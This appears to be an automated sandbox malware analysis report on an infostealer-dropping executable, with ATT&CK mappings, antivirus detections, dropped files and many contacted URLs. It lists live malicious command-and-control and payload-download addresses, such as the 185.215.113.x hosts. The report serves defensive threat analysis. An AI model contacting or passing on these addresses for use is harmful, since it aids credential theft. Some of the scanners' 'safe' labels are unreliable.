Network Topology	Malvertising	Exploit Public-Facing Application	Command and Scripting Interpreter	At	At	361 Virtualization/Sandbox Evasion	/etc/passwd and /etc/shadow	Network Sniffing	Direct Cloud VM Connections	Data Staged	Web Protocols	Exfiltration Over Symmetric Encrypted Non-C2 Protocol	Internal Defacement
IP Addresses	Compromise Infrastructure	Supply Chain Compromise	PowerShell	Cron	Cron	12 Process Injection	Network Sniffing	Network Service Discovery	Shared Webroot	Local Data Staging	File Transfer Protocols	Exfiltration Over Asymmetric Encrypted Non-C2 Protocol	External Defacement

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label
file.exe	37%	ReversingLabs	Win32.Trojan.Generic
file.exe	100%	Avira	TR/Crypt.TPM.Gen
file.exe	100%	Joe Sandbox ML

Dropped Files

Source	Detection	Scanner	Label
C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	100%	Avira	TR/Crypt.TPM.Gen
C:\Users\user\DocumentsIIEBKJECFC.exe	100%	Avira	TR/Crypt.TPM.Gen
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\YLNGKWRH\random[1].exe	100%	Avira	TR/Crypt.TPM.Gen
C:\Users\user\AppData\Local\Temp\70XXT0BM2TDFAKTXCB0ILV78JWN4.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	100%	Joe Sandbox ML
C:\Users\user\DocumentsIIEBKJECFC.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\YLNGKWRH\random[1].exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Temp\TMZOGPKAQROXKZACD6GWC5N6Z.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Temp\Q10LTOCEFP0KA6N46594D.exe	100%	Joe Sandbox ML
C:\ProgramData\freebl3.dll	0%	ReversingLabs
C:\ProgramData\mozglue.dll	0%	ReversingLabs
C:\ProgramData\msvcp140.dll	0%	ReversingLabs
C:\ProgramData\nss3.dll	0%	ReversingLabs
C:\ProgramData\softokn3.dll	0%	ReversingLabs
C:\ProgramData\vcruntime140.dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\YLNGKWRH\freebl3[1].dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\YLNGKWRH\mozglue[1].dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\YLNGKWRH\msvcp140[1].dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\YLNGKWRH\nss3[1].dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\YLNGKWRH\random[1].exe	32%	ReversingLabs	Win32.Infostealer.Tinba
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\YLNGKWRH\softokn3[1].dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\YLNGKWRH\vcruntime140[1].dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\70XXT0BM2TDFAKTXCB0ILV78JWN4.exe	37%	ReversingLabs	Win32.Infostealer.Tinba
C:\Users\user\AppData\Local\Temp\Q10LTOCEFP0KA6N46594D.exe	37%	ReversingLabs	Win32.Infostealer.Tinba
C:\Users\user\AppData\Local\Temp\TMZOGPKAQROXKZACD6GWC5N6Z.exe	37%	ReversingLabs	Win32.Infostealer.Tinba

Source	Detection	Scanner	Label
https://fleez-inc.sbs/:	0%	Avira URL Cloud	safe
https://fleez-inc.sbs/	0%	Avira URL Cloud	safe
https://fleez-inc.sbs:443/apiR	0%	Avira URL Cloud	safe
http://185.215.113.206/c4becf79229cb002.phpC:	100%	Avira URL Cloud	malware
http://185.215.113.16/off/def.exeFc	100%	Avira URL Cloud	phishing
http://185.215.113.16/pd	100%	Avira URL Cloud	phishing
http://185.215.113.206/c4becf79229cb002.php&	100%	Avira URL Cloud	malware
https://fleez-inc.sbs/1	0%	Avira URL Cloud	safe
https://fleez-inc.sbs/6	0%	Avira URL Cloud	safe
http://185.215.113.206_	0%	Avira URL Cloud	safe
https://fleez-inc.sbs/gRO	0%	Avira URL Cloud	safe
http://185.215.113.16/off/def.exe5	100%	Avira URL Cloud	phishing
https://fleez-inc.sbs/api	0%	Avira URL Cloud	safe
https://fleez-inc.sbs:443/api	0%	Avira URL Cloud	safe
http://185.215.113.206/9	100%	Avira URL Cloud	malware
http://185.215.113.206/68b591d6548ec281/nss3.dllI~	100%	Avira URL Cloud	malware
http://185.215.113.206/c4becf79229cb002.phpR	100%	Avira URL Cloud	malware
https://fleez-inc.sbs/8d	0%	Avira URL Cloud	safe
http://185.215.113.206Nq	0%	Avira URL Cloud	safe
http://185.215.113.206/c4becf79229cb002.phpb	100%	Avira URL Cloud	malware
http://185.215.113.16/ld	100%	Avira URL Cloud	phishing
http://185.215.113.16/F	100%	Avira URL Cloud	phishing
https://fleez-inc.sbs/8-	0%	Avira URL Cloud	safe
https://fleez-inc.sbs/apigsa	0%	Avira URL Cloud	safe
http://185.215.113.206/c4becf79229cb002.phpv	100%	Avira URL Cloud	malware
https://fleez-inc.sbs/apiJrD6	0%	Avira URL Cloud	safe
https://fleez-inc.sbs/w	0%	Avira URL Cloud	safe
https://fleez-inc.sbs/apit	0%	Avira URL Cloud	safe
http://185.215.113.206/68b591d6548ec281/softokn3.dllP	100%	Avira URL Cloud	malware
https://fleez-inc.sbs/nRv	0%	Avira URL Cloud	safe
https://fleez-inc.sbs/o	0%	Avira URL Cloud	safe
https://fleez-inc.sbs/V	0%	Avira URL Cloud	safe
http://185.215.113.206/68b591d6548ec281/sqlite3.dll=	100%	Avira URL Cloud	malware
https://fleez-inc.sbs/S	0%	Avira URL Cloud	safe
https://fleez-inc.sbs/ept-Ra	0%	Avira URL Cloud	safe
https://fleez-inc.sbs/K	0%	Avira URL Cloud	safe

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Reputation
fleez-inc.sbs	172.67.150.243	true	false	high
plus.l.google.com	142.250.185.206	true	false	high
play.google.com	172.217.18.14	true	false	high
www.google.com	142.250.185.68	true	false	high
apis.google.com	unknown	unknown	false	high

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
http://185.215.113.206/68b591d6548ec281/softokn3.dll	false		high
http://185.215.113.206/	false		high
thicktoys.sbs	false		high
http://185.215.113.43/Zu7JuNko/index.php	false		high
http://185.215.113.206/68b591d6548ec281/freebl3.dll	false		high
http://185.215.113.206/68b591d6548ec281/nss3.dll	false		high
https://www.google.com/async/newtab_ogb?hl=en-US&async=fixed:0	false		high
faintbl0w.sbs	false		high
3xc1aimbl0w.sbs	false		high
https://apis.google.com/_/scs/abc-static/_/js/k=gapi.gapi.en.SGzW6IeCawI.O/m=gapi_iframes,googleapis_client/rt=j/sv=1/d=1/ed=1/am=AACA/rs=AHpOoo-5biO9jua-6zCEovdoDJ8SLzd6sw/cb=gapi.loaded_0	false		high
300snails.sbs	false		high
http://185.215.113.206/68b591d6548ec281/vcruntime140.dll	false		high
https://fleez-inc.sbs/api	true	Avira URL Cloud: safe	unknown
http://185.215.113.16/mine/random.exe	false		high
http://185.215.113.206/68b591d6548ec281/sqlite3.dll	false		high
http://185.215.113.206/68b591d6548ec281/mozglue.dll	false		high
http://185.215.113.206/68b591d6548ec281/msvcp140.dll	false		high
http://185.215.113.16/steam/random.exe	false		high
http://185.215.113.206/c4becf79229cb002.php	false		high
https://www.google.com/async/newtab_promos	false		high
https://www.google.com/async/ddljson?async=ntp:2	false		high
https://www.google.com/complete/search?client=chrome-omni&gs_ri=chrome-ext-ansg&xssi=t&q=&oit=0&oft=1&pgcl=20&gs_rn=42&sugkey=AIzaSyBOti4mM-6x9WDnZIjIeyEU21OpBXqWBgw	false		high

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
https://fleez-inc.sbs/6	c3e1e78f6d.exe, 00000017.00000003.2845222111.0000000000E7C000.00000004.00000020.00020000.00000000.sdmp, c3e1e78f6d.exe, 00000017.00000003.2844405676.0000000000E7C000.00000004.00000020.00020000.00000000.sdmp, c3e1e78f6d.exe, 00000017.00000003.2889037273.0000000000E8E000.00000004.00000020.00020000.00000000.sdmp, c3e1e78f6d.exe, 00000017.00000003.2889401685.0000000000E9B000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://duckduckgo.com/chrome_newtab	c3e1e78f6d.exe, 0000000D.00000003.2407035686.0000000005C69000.00000004.00000800.00020000.00000000.sdmp, c3e1e78f6d.exe, 0000000D.00000003.2406950179.0000000005C6B000.00000004.00000800.00020000.00000000.sdmp, c3e1e78f6d.exe, 0000000D.00000003.2407184393.0000000005C69000.00000004.00000800.00020000.00000000.sdmp, c3e1e78f6d.exe, 00000011.00000003.2542575605.00000000057F9000.00000004.00000800.00020000.00000000.sdmp, c3e1e78f6d.exe, 00000011.00000003.2542485401.00000000057FB000.00000004.00000800.00020000.00000000.sdmp, c3e1e78f6d.exe, 00000011.00000003.2542801002.00000000057F9000.00000004.00000800.00020000.00000000.sdmp, c3e1e78f6d.exe, 00000017.00000003.2808904702.0000000005558000.00000004.00000800.00020000.00000000.sdmp, c3e1e78f6d.exe, 00000017.00000003.2808590846.000000000556F000.00000004.00000800.00020000.00000000.sdmp	false		high
https://duckduckgo.com/ac/?q=	c3e1e78f6d.exe, 0000000D.00000003.2407035686.0000000005C69000.00000004.00000800.00020000.00000000.sdmp, c3e1e78f6d.exe, 0000000D.00000003.2406950179.0000000005C6B000.00000004.00000800.00020000.00000000.sdmp, c3e1e78f6d.exe, 0000000D.00000003.2407184393.0000000005C69000.00000004.00000800.00020000.00000000.sdmp, c3e1e78f6d.exe, 00000011.00000003.2542575605.00000000057F9000.00000004.00000800.00020000.00000000.sdmp, c3e1e78f6d.exe, 00000011.00000003.2542485401.00000000057FB000.00000004.00000800.00020000.00000000.sdmp, c3e1e78f6d.exe, 00000011.00000003.2542801002.00000000057F9000.00000004.00000800.00020000.00000000.sdmp, c3e1e78f6d.exe, 00000017.00000003.2808904702.0000000005558000.00000004.00000800.00020000.00000000.sdmp, c3e1e78f6d.exe, 00000017.00000003.2808590846.000000000556F000.00000004.00000800.00020000.00000000.sdmp	false		high
https://fleez-inc.sbs/:	c3e1e78f6d.exe, 00000017.00000003.2902319838.0000000000E77000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://bridge.lga1.admarketplace.net/ctp?version=16.0.0&key=1696332238301000001.2&ci=1696332238417.	file.exe, 00000000.00000002.2164783980.0000000001011000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2186074735.0000000023162000.00000004.00000020.00020000.00000000.sdmp, c3e1e78f6d.exe, 0000000D.00000003.2442635266.0000000001566000.00000004.00000020.00020000.00000000.sdmp, c3e1e78f6d.exe, 00000011.00000003.2581226163.000000000103B000.00000004.00000020.00020000.00000000.sdmp, c3e1e78f6d.exe, 00000017.00000003.2847017068.0000000000EAA000.00000004.00000020.00020000.00000000.sdmp	false		high
http://185.215.113.16/pd	c3e1e78f6d.exe, 0000000D.00000002.2621813218.000000000152A000.00000004.00000020.00020000.00000000.sdmp, c3e1e78f6d.exe, 0000000D.00000003.2604516981.0000000001527000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: phishing	unknown
http://185.215.113.206/ws	82b4c5cad2.exe, 00000013.00000002.2669591001.0000000000C5D000.00000004.00000020.00020000.00000000.sdmp	false		high
https://fleez-inc.sbs/1	c3e1e78f6d.exe, 00000017.00000003.3023444353.0000000000E74000.00000004.00000020.00020000.00000000.sdmp, c3e1e78f6d.exe, 00000017.00000003.3024056962.0000000000E77000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://185.215.113.206Local	file.exe, 00000000.00000002.2160637336.00000000008B7000.00000040.00000001.01000000.00000003.sdmp	false		high
http://185.215.113.206/c4becf79229cb002.phpation	file.exe, 00000000.00000002.2160637336.00000000008B7000.00000040.00000001.01000000.00000003.sdmp	false		high
https://fleez-inc.sbs/	c3e1e78f6d.exe, 00000017.00000003.3024056962.0000000000E77000.00000004.00000020.00020000.00000000.sdmp, c3e1e78f6d.exe, 00000017.00000003.3021521340.0000000000DF5000.00000004.00000020.00020000.00000000.sdmp, c3e1e78f6d.exe, 00000017.00000003.2845222111.0000000000E7C000.00000004.00000020.00020000.00000000.sdmp, c3e1e78f6d.exe, 00000017.00000003.2825273881.0000000000E7C000.00000004.00000020.00020000.00000000.sdmp, c3e1e78f6d.exe, 00000017.00000003.2825364278.0000000000E85000.00000004.00000020.00020000.00000000.sdmp, c3e1e78f6d.exe, 00000017.00000003.2902319838.0000000000E77000.00000004.00000020.00020000.00000000.sdmp, c3e1e78f6d.exe, 00000017.00000003.2844405676.0000000000E7C000.00000004.00000020.00020000.00000000.sdmp, c3e1e78f6d.exe, 00000017.00000003.2889037273.0000000000E8E000.00000004.00000020.00020000.00000000.sdmp, c3e1e78f6d.exe, 00000017.00000003.2889401685.0000000000E9B000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://imp.mt48.net/static?id=7RHzfOIXjFEYsBdvIpkX4QqmfZfYfQfafZbXfpbWfpbX7ReNxR3UIG8zInwYIFIVs9eYi	c3e1e78f6d.exe, 00000017.00000003.2847017068.0000000000EAA000.00000004.00000020.00020000.00000000.sdmp	false		high
https://www.amazon.com/?tag=admarketus-20&ref=pd_sl_7548d4575af019e4c148ccf1a78112802e66a0816a72fc94	file.exe, 00000000.00000002.2164783980.0000000001011000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2186074735.0000000023162000.00000004.00000020.00020000.00000000.sdmp, c3e1e78f6d.exe, 0000000D.00000003.2442635266.0000000001566000.00000004.00000020.00020000.00000000.sdmp, c3e1e78f6d.exe, 00000011.00000003.2617679754.000000000102E000.00000004.00000020.00020000.00000000.sdmp, c3e1e78f6d.exe, 00000011.00000003.2618646977.0000000001038000.00000004.00000020.00020000.00000000.sdmp	false		high
http://185.215.113.206/c4becf79229cb002.phpC:	file.exe, 00000000.00000002.2186074735.0000000023173000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
http://www.mozilla.com/en-US/blocklist/	file.exe, file.exe, 00000000.00000002.2189859471.000000006C64D000.00000002.00000001.01000000.0000000A.sdmp	false		high
http://185.215.113.16/off/def.exeFc	c3e1e78f6d.exe, 00000011.00000003.2728217584.0000000001001000.00000004.00000020.00020000.00000000.sdmp, c3e1e78f6d.exe, 00000011.00000002.2742683237.0000000001003000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: phishing	unknown
http://185.215.113.206/c4becf79229cb002.php&	file.exe, 00000000.00000002.2186074735.0000000023162000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://fleez-inc.sbs:443/apiR	c3e1e78f6d.exe, 00000011.00000003.2728217584.0000000001001000.00000004.00000020.00020000.00000000.sdmp, c3e1e78f6d.exe, 00000011.00000002.2742683237.0000000001003000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=	c3e1e78f6d.exe, 0000000D.00000003.2407035686.0000000005C69000.00000004.00000800.00020000.00000000.sdmp, c3e1e78f6d.exe, 0000000D.00000003.2406950179.0000000005C6B000.00000004.00000800.00020000.00000000.sdmp, c3e1e78f6d.exe, 0000000D.00000003.2407184393.0000000005C69000.00000004.00000800.00020000.00000000.sdmp, c3e1e78f6d.exe, 00000011.00000003.2542575605.00000000057F9000.00000004.00000800.00020000.00000000.sdmp, c3e1e78f6d.exe, 00000011.00000003.2542485401.00000000057FB000.00000004.00000800.00020000.00000000.sdmp, c3e1e78f6d.exe, 00000011.00000003.2542801002.00000000057F9000.00000004.00000800.00020000.00000000.sdmp, c3e1e78f6d.exe, 00000017.00000003.2808904702.0000000005558000.00000004.00000800.00020000.00000000.sdmp, c3e1e78f6d.exe, 00000017.00000003.2808590846.000000000556F000.00000004.00000800.00020000.00000000.sdmp	false		high
http://crl.rootca1.amazontrust.com/rootca1.crl0	c3e1e78f6d.exe, 0000000D.00000003.2436187685.0000000005C4B000.00000004.00000800.00020000.00000000.sdmp, c3e1e78f6d.exe, 00000011.00000003.2579390588.00000000057F1000.00000004.00000800.00020000.00000000.sdmp, c3e1e78f6d.exe, 00000017.00000003.2844798958.000000000557E000.00000004.00000800.00020000.00000000.sdmp	false		high
https://bridge.lga1.ap01.net/ctp?version=16.0.0&key=1696332238301000001.1&ci=1696332238417.12791&cta	file.exe, 00000000.00000002.2164783980.0000000001011000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2186074735.0000000023162000.00000004.00000020.00020000.00000000.sdmp, c3e1e78f6d.exe, 0000000D.00000003.2442635266.0000000001566000.00000004.00000020.00020000.00000000.sdmp, c3e1e78f6d.exe, 00000011.00000003.2617679754.000000000102E000.00000004.00000020.00020000.00000000.sdmp, c3e1e78f6d.exe, 00000011.00000003.2618646977.0000000001038000.00000004.00000020.00020000.00000000.sdmp	false		high
http://185.215.113.206/c4becf79229cb002.php/	82b4c5cad2.exe, 0000000E.00000002.2486797329.0000000001837000.00000004.00000020.00020000.00000000.sdmp, 82b4c5cad2.exe, 00000013.00000002.2669591001.0000000000C5D000.00000004.00000020.00020000.00000000.sdmp	false		high
http://185.215.113.206_	82b4c5cad2.exe, 00000013.00000002.2669591001.0000000000C16000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://ocsp.rootca1.amazontrust.com0:	c3e1e78f6d.exe, 0000000D.00000003.2436187685.0000000005C4B000.00000004.00000800.00020000.00000000.sdmp, c3e1e78f6d.exe, 00000011.00000003.2579390588.00000000057F1000.00000004.00000800.00020000.00000000.sdmp, c3e1e78f6d.exe, 00000017.00000003.2844798958.000000000557E000.00000004.00000800.00020000.00000000.sdmp	false		high
https://support.office.com/article/7D48285B-20E8-4B9B-91AD-216E34163BAD?wt.mc_id=EnterPK2016	file.exe, 00000000.00000003.1995137985.000000001D03E000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2160637336.00000000007D4000.00000040.00000001.01000000.00000003.sdmp, c3e1e78f6d.exe, 0000000D.00000003.2406192749.0000000005C77000.00000004.00000800.00020000.00000000.sdmp, c3e1e78f6d.exe, 0000000D.00000003.2406071640.0000000005C7E000.00000004.00000800.00020000.00000000.sdmp, c3e1e78f6d.exe, 00000011.00000003.2541946634.000000000580E000.00000004.00000800.00020000.00000000.sdmp, c3e1e78f6d.exe, 00000017.00000003.2808081609.000000000559C000.00000004.00000800.00020000.00000000.sdmp	false		high
https://www.ecosia.org/newtab/	c3e1e78f6d.exe, 0000000D.00000003.2407035686.0000000005C69000.00000004.00000800.00020000.00000000.sdmp, c3e1e78f6d.exe, 0000000D.00000003.2406950179.0000000005C6B000.00000004.00000800.00020000.00000000.sdmp, c3e1e78f6d.exe, 0000000D.00000003.2407184393.0000000005C69000.00000004.00000800.00020000.00000000.sdmp, c3e1e78f6d.exe, 00000011.00000003.2542575605.00000000057F9000.00000004.00000800.00020000.00000000.sdmp, c3e1e78f6d.exe, 00000011.00000003.2542485401.00000000057FB000.00000004.00000800.00020000.00000000.sdmp, c3e1e78f6d.exe, 00000011.00000003.2542801002.00000000057F9000.00000004.00000800.00020000.00000000.sdmp, c3e1e78f6d.exe, 00000017.00000003.2808904702.0000000005558000.00000004.00000800.00020000.00000000.sdmp, c3e1e78f6d.exe, 00000017.00000003.2808590846.000000000556F000.00000004.00000800.00020000.00000000.sdmp	false		high
https://support.mozilla.org/kb/customize-firefox-controls-buttons-and-toolbars?utm_source=firefox-br	c3e1e78f6d.exe, 00000017.00000003.2846114572.0000000005663000.00000004.00000800.00020000.00000000.sdmp	false		high
http://185.215.113.206/c4becf79229cb002.php2	82b4c5cad2.exe, 00000013.00000002.2669591001.0000000000C5D000.00000004.00000020.00020000.00000000.sdmp	false		high
http://185.215.113.206/ta	82b4c5cad2.exe, 00000013.00000002.2669591001.0000000000C5D000.00000004.00000020.00020000.00000000.sdmp	false		high
https://support.microsof	c3e1e78f6d.exe, 0000000D.00000003.2406071640.0000000005C80000.00000004.00000800.00020000.00000000.sdmp, c3e1e78f6d.exe, 00000011.00000003.2541946634.0000000005810000.00000004.00000800.00020000.00000000.sdmp, c3e1e78f6d.exe, 00000017.00000003.2808081609.000000000559E000.00000004.00000800.00020000.00000000.sdmp	false		high
http://185.215.113.16/off/def.exe5	c3e1e78f6d.exe, 00000017.00000003.3021521340.0000000000E6A000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: phishing	unknown
https://fleez-inc.sbs/gRO	c3e1e78f6d.exe, 00000011.00000003.2541515615.000000000100A000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://185.215.113.16/off/def.exe	c3e1e78f6d.exe, 0000000D.00000002.2622414625.0000000001568000.00000004.00000020.00020000.00000000.sdmp, c3e1e78f6d.exe, 0000000D.00000002.2621813218.000000000152A000.00000004.00000020.00020000.00000000.sdmp, c3e1e78f6d.exe, 0000000D.00000003.2604516981.0000000001527000.00000004.00000020.00020000.00000000.sdmp, c3e1e78f6d.exe, 0000000D.00000003.2604699653.0000000001567000.00000004.00000020.00020000.00000000.sdmp, c3e1e78f6d.exe, 00000011.00000003.2728217584.0000000001001000.00000004.00000020.00020000.00000000.sdmp, c3e1e78f6d.exe, 00000011.00000002.2743711813.0000000001024000.00000004.00000020.00020000.00000000.sdmp, c3e1e78f6d.exe, 00000011.00000002.2742683237.0000000001003000.00000004.00000020.00020000.00000000.sdmp, c3e1e78f6d.exe, 00000011.00000003.2728544166.0000000001024000.00000004.00000020.00020000.00000000.sdmp, c3e1e78f6d.exe, 00000011.00000002.2742683237.0000000000F95000.00000004.00000020.00020000.00000000.sdmp, c3e1e78f6d.exe, 00000017.00000003.3021521340.0000000000E6A000.00000004.00000020.00020000.00000000.sdmp, c3e1e78f6d.exe, 00000017.00000003.3020786271.0000000000E83000.00000004.00000020.00020000.00000000.sdmp	false		high
https://support.office.com/article/7D48285B-20E8-4B9B-91AD-216E34163BAD?wt.mc_id=EnterPK2016Examples	c3e1e78f6d.exe, 0000000D.00000003.2406192749.0000000005C52000.00000004.00000800.00020000.00000000.sdmp	false		high
http://185.215.113.206/c4becf79229cb002.phpR	file.exe, 00000000.00000002.2186074735.0000000023173000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://fleez-inc.sbs/8d	c3e1e78f6d.exe, 0000000D.00000002.2621813218.000000000152A000.00000004.00000020.00020000.00000000.sdmp, c3e1e78f6d.exe, 0000000D.00000003.2604516981.0000000001527000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://fleez-inc.sbs:443/api	c3e1e78f6d.exe, 0000000D.00000003.2494815905.0000000001559000.00000004.00000020.00020000.00000000.sdmp, c3e1e78f6d.exe, 0000000D.00000003.2496388933.0000000001559000.00000004.00000020.00020000.00000000.sdmp, c3e1e78f6d.exe, 0000000D.00000003.2496752556.0000000001559000.00000004.00000020.00020000.00000000.sdmp, c3e1e78f6d.exe, 00000017.00000003.2789320451.0000000000E08000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://185.215.113.206/68b591d6548ec281/nss3.dllI~	file.exe, 00000000.00000002.2164783980.0000000001011000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
http://185.215.113.206Nq	file.exe, 00000000.00000002.2164783980.0000000000F9E000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://support.mozilla.org/products/firefoxgro.allizom.troppus.zvXrErQ5GYDF	file.exe, 00000000.00000003.2075191606.00000000233A2000.00000004.00000020.00020000.00000000.sdmp	false		high
http://185.215.113.206/;	82b4c5cad2.exe, 00000013.00000002.2669591001.0000000000C5D000.00000004.00000020.00020000.00000000.sdmp	false		high
http://185.215.113.206/9	file.exe, 00000000.00000002.2164783980.0000000000FF7000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
http://185.215.113.206/c4becf79229cb002.phpb	82b4c5cad2.exe, 00000013.00000002.2669591001.0000000000C5D000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
http://185.215.113.16/ld	c3e1e78f6d.exe, 0000000D.00000002.2621813218.000000000152A000.00000004.00000020.00020000.00000000.sdmp, c3e1e78f6d.exe, 0000000D.00000003.2604516981.0000000001527000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: phishing	unknown
https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=	c3e1e78f6d.exe, 0000000D.00000003.2407035686.0000000005C69000.00000004.00000800.00020000.00000000.sdmp, c3e1e78f6d.exe, 0000000D.00000003.2406950179.0000000005C6B000.00000004.00000800.00020000.00000000.sdmp, c3e1e78f6d.exe, 0000000D.00000003.2407184393.0000000005C69000.00000004.00000800.00020000.00000000.sdmp, c3e1e78f6d.exe, 00000011.00000003.2542575605.00000000057F9000.00000004.00000800.00020000.00000000.sdmp, c3e1e78f6d.exe, 00000011.00000003.2542485401.00000000057FB000.00000004.00000800.00020000.00000000.sdmp, c3e1e78f6d.exe, 00000011.00000003.2542801002.00000000057F9000.00000004.00000800.00020000.00000000.sdmp, c3e1e78f6d.exe, 00000017.00000003.2808904702.0000000005558000.00000004.00000800.00020000.00000000.sdmp, c3e1e78f6d.exe, 00000017.00000003.2808590846.000000000556F000.00000004.00000800.00020000.00000000.sdmp	false		high
https://support.office.com/article/94ba2e0b-638e-4a92-8857-2cb5ac1d8e17	file.exe, 00000000.00000003.1995137985.000000001D03E000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2160637336.00000000007D4000.00000040.00000001.01000000.00000003.sdmp, c3e1e78f6d.exe, 0000000D.00000003.2406192749.0000000005C77000.00000004.00000800.00020000.00000000.sdmp, c3e1e78f6d.exe, 0000000D.00000003.2406071640.0000000005C7E000.00000004.00000800.00020000.00000000.sdmp, c3e1e78f6d.exe, 00000011.00000003.2541946634.000000000580E000.00000004.00000800.00020000.00000000.sdmp, c3e1e78f6d.exe, 00000017.00000003.2808081609.000000000559C000.00000004.00000800.00020000.00000000.sdmp	false		high
http://185.215.113.16/F	c3e1e78f6d.exe, 00000017.00000003.3023444353.0000000000E74000.00000004.00000020.00020000.00000000.sdmp, c3e1e78f6d.exe, 00000017.00000003.3024056962.0000000000E77000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: phishing	unknown
https://fleez-inc.sbs/apigsa	c3e1e78f6d.exe, 00000011.00000002.2742683237.0000000000FB5000.00000004.00000020.00020000.00000000.sdmp, c3e1e78f6d.exe, 00000011.00000003.2729046669.0000000000FB5000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://185.215.113.206/c4becf79229cb002.phpv	82b4c5cad2.exe, 00000013.00000002.2669591001.0000000000C5D000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
http://x1.c.lencr.org/0	c3e1e78f6d.exe, 0000000D.00000003.2436187685.0000000005C4B000.00000004.00000800.00020000.00000000.sdmp, c3e1e78f6d.exe, 00000011.00000003.2579390588.00000000057F1000.00000004.00000800.00020000.00000000.sdmp, c3e1e78f6d.exe, 00000017.00000003.2844798958.000000000557E000.00000004.00000800.00020000.00000000.sdmp	false		high
http://x1.i.lencr.org/0	c3e1e78f6d.exe, 0000000D.00000003.2436187685.0000000005C4B000.00000004.00000800.00020000.00000000.sdmp, c3e1e78f6d.exe, 00000011.00000003.2579390588.00000000057F1000.00000004.00000800.00020000.00000000.sdmp, c3e1e78f6d.exe, 00000017.00000003.2844798958.000000000557E000.00000004.00000800.00020000.00000000.sdmp	false		high
https://support.office.com/article/94ba2e0b-638e-4a92-8857-2cb5ac1d8e17Install	c3e1e78f6d.exe, 0000000D.00000003.2406192749.0000000005C52000.00000004.00000800.00020000.00000000.sdmp	false		high
https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search	c3e1e78f6d.exe, 0000000D.00000003.2407035686.0000000005C69000.00000004.00000800.00020000.00000000.sdmp, c3e1e78f6d.exe, 0000000D.00000003.2406950179.0000000005C6B000.00000004.00000800.00020000.00000000.sdmp, c3e1e78f6d.exe, 0000000D.00000003.2407184393.0000000005C69000.00000004.00000800.00020000.00000000.sdmp, c3e1e78f6d.exe, 00000011.00000003.2542575605.00000000057F9000.00000004.00000800.00020000.00000000.sdmp, c3e1e78f6d.exe, 00000011.00000003.2542485401.00000000057FB000.00000004.00000800.00020000.00000000.sdmp, c3e1e78f6d.exe, 00000011.00000003.2542801002.00000000057F9000.00000004.00000800.00020000.00000000.sdmp, c3e1e78f6d.exe, 00000017.00000003.2808904702.0000000005558000.00000004.00000800.00020000.00000000.sdmp, c3e1e78f6d.exe, 00000017.00000003.2808590846.000000000556F000.00000004.00000800.00020000.00000000.sdmp	false		high
https://fleez-inc.sbs/8-	c3e1e78f6d.exe, 00000017.00000003.2789320451.0000000000DF5000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://fleez-inc.sbs/apiJrD6	c3e1e78f6d.exe, 0000000D.00000003.2496388933.0000000001553000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
